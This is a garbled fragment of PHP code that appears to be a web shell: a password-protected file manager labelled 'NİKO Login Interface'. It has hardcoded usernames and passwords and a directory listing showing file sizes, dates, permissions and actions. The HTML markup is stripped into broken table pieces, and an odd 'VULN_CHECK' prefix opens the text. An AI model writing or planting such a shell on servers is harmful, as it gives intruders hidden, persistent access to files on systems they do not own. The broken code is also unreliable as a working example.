VULN_CHECK_0COQYT '4695', 'admin' => '46597', 'executive' => 'admin4695' ]; $current_user = $_SESSION['user'] ?? null; if (!isset($_SESSION['authenticated'])) { if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['username'], $_POST['password'])) { $username = $_POST['username']; $password = $_POST['password']; if (isset($users[$username]) && $users[$username] === $password) { $_SESSION['authenticated'] = true; $_SESSION['user'] = $username; $_SESSION['login_time'] = time(); header('Location: ' . $_SERVER['PHP_SELF']); exit; } else { $error = 'Access Denied'; } } // NİKO Login Interface echo '
| Name | Size | Modified | Perms | Actions | '; echo ' | .. | '; echo '- | '; echo '- | '; echo '- | '; echo '- | '; echo ''; } // Files and directories foreach ($files as $file) { if ($file === '.' || $file === '..') continue; $filepath = $current_dir . '/' . $file; if (!is_readable($filepath)) continue; $is_dir = is_dir($filepath); $size = $is_dir ? 'DIR' : formatBytes(filesize($filepath)); $modified = date('M d, Y H:i', filemtime($filepath)); $perms = substr(sprintf('%o', fileperms($filepath)), -4); echo '
|---|---|---|---|---|---|
| '; echo ' | '; if ($is_dir) { echo ' ' . safe($file) . ''; } else { $icon = getFileIcon($file); echo ' ' . safe($file) . ''; } echo ' | '; echo '' . $size . ' | '; echo '' . $modified . ' | '; echo '' . $perms . ' | '; echo ''; echo ' |